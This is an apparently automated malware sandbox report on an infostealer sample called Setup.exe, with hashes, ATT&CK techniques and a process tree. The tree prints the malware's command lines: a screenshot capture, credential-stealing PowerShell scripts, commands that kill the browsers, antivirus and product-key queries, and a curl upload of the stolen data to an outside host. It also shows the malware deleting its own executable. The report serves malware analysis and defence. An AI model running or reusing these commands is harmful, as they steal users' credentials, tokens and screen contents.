891292d66392d8da0e92cf38abcb108a69e33fb1714f7920448301b1aa5094d5

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 20:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 11.1MB
Sample260817-zee4rsdf64
SHA256 891292d66392d8da0e92cf38abcb108a69e33fb1714f7920448301b1aa5094d5
MD5 30718ddbe8c67b2562ef12db2a3cd852
SHA1 31728f1824d288d413ba6e881fe4e9603bb72493
SHA512 c8213c61ba2531f4fa30ab6f2fd4f0e680df999f903f3e8535d2fc1fff2d65e28d450366dad0b041f86f0836b99d16bb6326167baddf3cfe67644272a5493dd6
SSDEEP 196608:REG12fx/Ox35OQJPpzutYtzptxSL+s3Zi8PG/FnoFwr/+hvUwJXkF804QTX38JQk:tX3wQdZlXxkrM8O/Fo4+hvUYXka1QTXo
TLSH
T1E3C633283DEA5019F273EF686BD4B4E7ED2FBB633B07486A1155034A0722981CED257D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	1356	h2h3d3pi.o4i.exe

Executes dropped EXE 1 IoCs

pid	Process
1356	h2h3d3pi.o4i.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1356 set thread context of 4412	1356	h2h3d3pi.o4i.exe	89

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5132	powershell.exe
5448	powershell.exe
252	powershell.exe
5844	powershell.exe
4720	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3056	cmd.exe
3776	cmd.exe
4120	cmd.exe
2184	cmd.exe
6124	cmd.exe
5596	cmd.exe
1428	cmd.exe
3524	cmd.exe
4216	cmd.exe
5908	cmd.exe
5388	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	h2h3d3pi.o4i.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	h2h3d3pi.o4i.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
2708	taskkill.exe
5752	taskkill.exe
1992	taskkill.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5132	powershell.exe
5132	powershell.exe
5448	powershell.exe
5448	powershell.exe
252	powershell.exe
252	powershell.exe
1988	WMIC.exe
1988	WMIC.exe
1988	WMIC.exe
1988	WMIC.exe
5844	powershell.exe
5844	powershell.exe
4720	powershell.exe
4720	powershell.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeDebugPrivilege	5132	powershell.exe
Token: SeDebugPrivilege	5448	powershell.exe
Token: SeDebugPrivilege	2708	taskkill.exe
Token: SeDebugPrivilege	5752	taskkill.exe
Token: SeDebugPrivilege	1992	taskkill.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeBackupPrivilege	2580	Robocopy.exe
Token: SeRestorePrivilege	2580	Robocopy.exe
Token: SeSecurityPrivilege	2580	Robocopy.exe
Token: SeTakeOwnershipPrivilege	2580	Robocopy.exe
Token: SeIncreaseQuotaPrivilege	1988	WMIC.exe
Token: SeSecurityPrivilege	1988	WMIC.exe
Token: SeTakeOwnershipPrivilege	1988	WMIC.exe
Token: SeLoadDriverPrivilege	1988	WMIC.exe
Token: SeSystemProfilePrivilege	1988	WMIC.exe
Token: SeSystemtimePrivilege	1988	WMIC.exe
Token: SeProfSingleProcessPrivilege	1988	WMIC.exe
Token: SeIncBasePriorityPrivilege	1988	WMIC.exe
Token: SeCreatePagefilePrivilege	1988	WMIC.exe
Token: SeBackupPrivilege	1988	WMIC.exe
Token: SeRestorePrivilege	1988	WMIC.exe
Token: SeShutdownPrivilege	1988	WMIC.exe
Token: SeDebugPrivilege	1988	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1988	WMIC.exe
Token: SeRemoteShutdownPrivilege	1988	WMIC.exe
Token: SeUndockPrivilege	1988	WMIC.exe
Token: SeManageVolumePrivilege	1988	WMIC.exe
Token: 33	1988	WMIC.exe
Token: 34	1988	WMIC.exe
Token: 35	1988	WMIC.exe
Token: 36	1988	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1988	WMIC.exe
Token: SeSecurityPrivilege	1988	WMIC.exe
Token: SeTakeOwnershipPrivilege	1988	WMIC.exe
Token: SeLoadDriverPrivilege	1988	WMIC.exe
Token: SeSystemProfilePrivilege	1988	WMIC.exe
Token: SeSystemtimePrivilege	1988	WMIC.exe
Token: SeProfSingleProcessPrivilege	1988	WMIC.exe
Token: SeIncBasePriorityPrivilege	1988	WMIC.exe
Token: SeCreatePagefilePrivilege	1988	WMIC.exe
Token: SeBackupPrivilege	1988	WMIC.exe
Token: SeRestorePrivilege	1988	WMIC.exe
Token: SeShutdownPrivilege	1988	WMIC.exe
Token: SeDebugPrivilege	1988	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1988	WMIC.exe
Token: SeRemoteShutdownPrivilege	1988	WMIC.exe
Token: SeUndockPrivilege	1988	WMIC.exe
Token: SeManageVolumePrivilege	1988	WMIC.exe
Token: 33	1988	WMIC.exe
Token: 34	1988	WMIC.exe
Token: 35	1988	WMIC.exe
Token: 36	1988	WMIC.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 1356	3456	Setup.exe	88
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4412	1356	h2h3d3pi.o4i.exe	89
PID 1356 wrote to memory of 4216	1356	h2h3d3pi.o4i.exe	91
PID 4216 wrote to memory of 1536	4216	cmd.exe	93
PID 1356 wrote to memory of 5908	1356	h2h3d3pi.o4i.exe	94
PID 5908 wrote to memory of 5132	5908	cmd.exe	96
PID 1356 wrote to memory of 5388	1356	h2h3d3pi.o4i.exe	97
PID 5388 wrote to memory of 5448	5388	cmd.exe	99
PID 5448 wrote to memory of 2708	5448	powershell.exe	100
PID 5448 wrote to memory of 5752	5448	powershell.exe	102
PID 5448 wrote to memory of 1992	5448	powershell.exe	103
PID 1356 wrote to memory of 5596	1356	h2h3d3pi.o4i.exe	104
PID 5596 wrote to memory of 252	5596	cmd.exe	106
PID 1356 wrote to memory of 3056	1356	h2h3d3pi.o4i.exe	107
PID 3056 wrote to memory of 2580	3056	cmd.exe	109
PID 1356 wrote to memory of 1428	1356	h2h3d3pi.o4i.exe	110
PID 1428 wrote to memory of 1988	1428	cmd.exe	112
PID 1356 wrote to memory of 3776	1356	h2h3d3pi.o4i.exe	113
PID 3776 wrote to memory of 5844	3776	cmd.exe	115
PID 1356 wrote to memory of 4120	1356	h2h3d3pi.o4i.exe	116
PID 4120 wrote to memory of 6132	4120	cmd.exe	118
PID 4120 wrote to memory of 2600	4120	cmd.exe	119
PID 1356 wrote to memory of 3524	1356	h2h3d3pi.o4i.exe	120
PID 3524 wrote to memory of 4720	3524	cmd.exe	122
PID 1356 wrote to memory of 2184	1356	h2h3d3pi.o4i.exe	123
PID 2184 wrote to memory of 4900	2184	cmd.exe	125
PID 1356 wrote to memory of 6124	1356	h2h3d3pi.o4i.exe	126
PID 6124 wrote to memory of 5288	6124	cmd.exe	128

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	13	curl/8.8.0
HTTP User-Agent header	16	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe
  "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\System32\RuntimeBroker.exe
    RuntimeBroker.exe all -o C:\Users\Admin\AppData\Local\Temp\64da9474\output
    3⤵
    PID:4412
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c curl -s -k -o "C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json" "http://ip-api.com/json/"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Windows\system32\curl.exe
      curl -s -k -o "C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json" "http://ip-api.com/json/"
      4⤵
      PID:1536
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5132
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5448
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM chrome.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2708
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM msedge.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5752
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM brave.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1992
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:252
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Temp\64da9474\collect" "C:\Users\Admin\AppData\Local\Temp\64da9474\data" /E /R:0 /W:0 >nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Windows\system32\Robocopy.exe
      robocopy "C:\Users\Admin\AppData\Local\Temp\64da9474\collect" "C:\Users\Admin\AppData\Local\Temp\64da9474\data" /E /R:0 /W:0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2580
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "C:\Users\Admin\AppData\Local\Temp\av_tmp.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1988
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey" > "C:\Users\Admin\AppData\Local\Temp\key_tmp.txt"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5844
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\64da9474\data\Outlook" 2>nul | find /c /v "" > "C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4120
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" dir /s /b "C:\Users\Admin\AppData\Local\Temp\64da9474\data\Outlook" 2>nul"
      4⤵
      PID:6132
  - - C:\Windows\system32\find.exe
      find /c /v ""
      4⤵
      PID:2600
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\64da9474\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip' -Force"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\64da9474\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4720
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c curl -L -s -S -k --max-time 900 -H "Host: whale-complex.site" -F "document=@C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip" -F "hwid=2D1CACDE" -F "participant_id=DLAWBTBF" -F "tag_1=0" -F "tag_2=0" -F "tag_3=0" -F "tag_4=0" -F "tag_5=1" -F "tag_6=0" -F "country=Canada" -F "city=Toronto" -o "C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt" "https://whale-complex.site/upload.php?study=up4pc"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\system32\curl.exe
      curl -L -s -S -k --max-time 900 -H "Host: whale-complex.site" -F "document=@C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip" -F "hwid=2D1CACDE" -F "participant_id=DLAWBTBF" -F "tag_1=0" -F "tag_2=0" -F "tag_3=0" -F "tag_4=0" -F "tag_5=1" -F "tag_6=0" -F "country=Canada" -F "city=Toronto" -o "C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt" "https://whale-complex.site/upload.php?study=up4pc"
      4⤵
      PID:4900
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6124
  - - C:\Windows\system32\cmd.exe
      cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
      4⤵
      PID:5288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aecd211ac8babc118c2a0785f00479871819bde6ba11e5b7891a04f259f1dbf3
MD5 7ba47ca5a1f6a75a78249daac0fec3c1
SHA1 24c21d40d9c268aa854afc7032efbf25c4f883c1
SHA512 763e8915135f01a3fbf91fe111e4af3bea0b55accf56260764b90f2cd4bd61ff8313b3b3665d098dae2c81fd5027ca11d40f719acaa3e7da4a28e2187e150b79
TLSH
T1EC218733F3CC8215D889403A50CEAC1032B187DB40DECE5BAB84D508B43F599CEA05A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
MD5 0773347dabec51061ea4a74589125e12
SHA1 05aa0df69fe48f55680b77c79ae91b5912ca48d4
SHA512 43e24bd488c61f8b8de22a5643a668863f07b523674e94c74f6ce644b8510c58e54ee8b9d45c5f99d0523501d316b9dc8d6d44360d99e1b0b0ad88182bad6669
TLSH
T12A21AB33B3CC8724CC8A403A10CEAC1032B6C7DB409ECFABBB84D544B42F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f3f3b51f1a69562c64b43df843c7fa4d92bf34b36210fb05fc4a4f8ed2e38e71
MD5 aaa0f17f2906838ea215bc0a811079cc
SHA1 5a98a367b649f4109c6eb6d875d340eb0e917ec4
SHA512 bf74e35312dd10490683674c3d26942f1e55ccd2522f732fdf01f63b2e166944a7bda5251b1e01561406ec9a24edd7ce4037c6780ddf3691e2442752055fb230
TLSH
T1C1319B37B3DC86E5D889453A01CAAC1437B693D754DECEE77B84E608B52F298CE60190
MD5 SHA1 SHA512 TLSH

Submit Download

1KaLmIg2.zip

Path C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip
Size 511KB
SHA256 298ff93a18cadbacf020f024fcf7ac4a0f81b590fed541362a0201e37426d97f
MD5 272253444d019d1ff5d5ec61a813956f
SHA1 533661ce9a536c4ddbebea1e7578a77124e0e127
SHA512 f81dccaccbf0b2c54a1c09cfa5a4bc0fb6b66a8634811b15ec213f4b809bbe406eb19edd4939a31826f49f9c32cbba4f2b01050a0f0aeb3fea3eb007f37bb321
SSDEEP 12288:L4nm85jZZR7KVBqoKYslXslxp9QkqF9gY01xi5IDGOuVEexHf:Unm8D7QBqd0vqF9A1wItuOo/
TLSH
T1C8B423468B377520D567A0AB386D9E0180B548C73C1DF68E1931B93D7998EB72BCCDA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

discord_tokens.txt

Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\discord_tokens.txt
Size 38B
SHA256 28a601045c4111bd7f5aabd315ca80937e9e5a191c7a07978e426680e1d5ee5e
MD5 bbe4edf36d9574ed879b29c4118c652e
SHA1 205baf59578fe6fccc487c72c76710430fe08c7f
SHA512 4ac9d7603a2e966fcd874ec7231b87c710b3ee5784fe25315c5ff32dc8c6f7a91516df51c92033d3e85c05955ef8d08f482d4e4e8095e521af4c869e356dff33
MD5 SHA1 SHA512

Submit Download

geo_curl.json

Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json
Size 299B
SHA256 2c5a0c9379a80ead9ba2a9c784f7cf106aa91ac34e4380bb5bdbcb350e27030e
MD5 5d192eb6f31a37dec721de91291e66ce
SHA1 e931dc1a5b5a553c7ae5c57aad74913d310371b8
SHA512 7d813151fda8b56b561abdb6efec100612797cd08de36b60a0ca1fc5ce91f0396caf812af10db58a3926a5e946e7eac56f6b73bf55bf823fac97892f58d50c93
TLSH
T1F4E0CD1D44F16D79D7B915CD090BE1B9235C5052A7E0480969894D1865C96E4705204A
MD5 SHA1 SHA512 TLSH

Submit Download

info.txt

Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\info.txt
Size 595B
SHA256 132cc1a1a093413481ab1dbda9b13b42e1ce815c650438a9ba35511be746c551
MD5 2e8989a05fbd455ae03e1e2504327267
SHA1 e3853dcc3fb96a07a2f5cc929d8a8f6a642518dd
SHA512 5c8ec27ec734886e1a08fc5949001c2444e45161de972467cb5140df3247ce900190c0d974831a90784196cc0598fd93e1c760bbc27aeb5adad947cdb2fc19e4
TLSH
T13CF002D68749342C79B523F51B01C3092AB4449A145951303CE90B1128F28A07FEF64D
MD5 SHA1 SHA512 TLSH

Submit Download

tokens_debug.log

Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\tokens_debug.log
Size 549B
SHA256 7185b86dbd6d062d829474db58683312716f87a28021c802c7487046070c58b2
MD5 49fbf4dc787aafd4aab52218f00b9b93
SHA1 d989495fb51f0c897fb4cca7463a8786b617ae63
SHA512 e198f8b598bd4cd0d377176193f64e8ac3288738ba78f1404d35bf2e12dfe8fa55e3f2de0c84879bf8121156b2cf9dcdb1f5514a88a04f816ed269cd63ef5ca9
TLSH
T15AF0281469C6D63E163555DB12D2F31C84FA1909BA8B3B025714EC4CB9C6848E6F6293
MD5 SHA1 SHA512 TLSH

Submit Download

credentials_temp.txt

Path C:\Users\Admin\AppData\Local\Temp\64da9474\credentials_temp.txt
Size 5B
SHA256 f01a374e9c81e3db89b3a42940c4d6a5447684986a1296e42bf13f196eed6295
MD5 3bab25a3e651a9e4a00473d2257b99f9
SHA1 1419458f2696be8daeade77ddad380cd0c871fdb
SHA512 ae8dc1129b7a81ba70c9512a94a3e9ccd8c159f1817e309198c2babaf5bcb3f7e97f43b54ea4937cbea468bb5a62328fc0c01982aa1b883d8fd6d2e2c58090ff
MD5 SHA1 SHA512

Submit Download

discord.ps1

Path C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1
Size 3KB
SHA256 9a1ebd6bdee3dbcaebd9d35b20e2cc9fc7112cc6e6ca084c226bda12053eceb4
MD5 9ccd3565104ea7ce6afe6f4c9cd04770
SHA1 f37c82fd397741170340c5f206a62ad96352f43d
SHA512 e62f2ce563e188f93f5b02b271f6a9109029332e639443bd81b3c4a52bca7a8f443324dc0c4f1bd0e8ce16e32e846ed031f151f9cff1e4423a3236948b562329
TLSH
T16781211AA947853580F31BFAADC1C814EDFB207B820E6F06B5DE91C41FF462DC562E96
MD5 SHA1 SHA512 TLSH

Submit Download

outlook_cred.ps1

Path C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1
Size 614B
SHA256 48523ef2bdfaf7bef669f780a49f24f4255f87f927dc1e3e75cc70d20d5dcd95
MD5 89fb0fbd9600291ae8d54286449f1a8d
SHA1 7f04ce51776d7efe5a8a17906d2097eb5f72db90
SHA512 e6d746b818a6a5ffdd193296d08baff05a0a2179c0eab16b18b2f0dc7148d0f63c4149a8293ca39aa1ad9c4092aa78572cb5f2ab8ced9817a4ae9749f1b00d70
TLSH
T187F00200BBDECA936234867264D1094854AD481E0516585CBFAD650CB7F2A07F8C0EC1
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.png

Path C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png
Size 514KB
SHA256 f9bd10b7277d9efafb3f30ffa10b94a93c15b10ae45147210c9a7389eb344dd9
MD5 734c1f663f68607a251a2628f36f7880
SHA1 f2a0cc235a4a5b95e353c491bca912dde05d09bf
SHA512 b9f643fad31c1ad3f5cb31c61b1f1366f62542b025a29ef749c601c61bf26a59b5133135946faaabd373a4985f9e6b59b63062f105b5f3cf868da30f0e117c35
SSDEEP 6144:FdAnwMcF8jLDGj1OGc2zN7sBDSDBg4N0+pI2hGNpUB5nyT7znrzOWb1rETXc9JZ9:vPyD5oRYIiWOR7rrdETs9JZswHJ
TLSH
T152B4129DE2F0883A49EA417FEA784A904731742FCCC4585C80B533558DA1ABCB7697BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

upload_resp.txt

Path C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt
Size 71B
SHA256 99099246bd63e689b3eca30368f83c05651f56b70d93135c95d37e42fcfeefc2
MD5 62ab5b9cb7432b8540b16cf7c3ba01f2
SHA1 8c5f96ea208046c67e59965be976f55dd0b21052
SHA512 669ee91d29a73ca4a4c2867b35a7d4418b2f8388ce5a612bd4df08a1a7148d44edffcf9f2c3fef6994743f87b62e33d2f1710f9cee96a4fb6e129efb2effbd81
TLSH
T1A8A02203000C00C880C023208822BFE88CBE0C0A000E2CCC30CC2C30230008F823C83F
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dz4fvorn.5ox.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dz4fvorn.5ox.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

av_tmp.txt

Path C:\Users\Admin\AppData\Local\Temp\av_tmp.txt
Size 6B
SHA256 2e08d1f6000aef541797d008c05ac36f4dbebfb36cbac5615788e6fcc5b300a7
MD5 bea07e6d2b8dce396fe21baa61b34956
SHA1 665332b36fc8fa1ed11210cdee83b639b451e592
SHA512 4ad82fbef6d8d3f4d0b90a9399c8b405674bad0c750e385fb034e57895838fd26d7926f6ed0ccab2e2afcaf4a23613ed8f16d909bff870b40187e22e0a6362c1
MD5 SHA1 SHA512

Submit Download

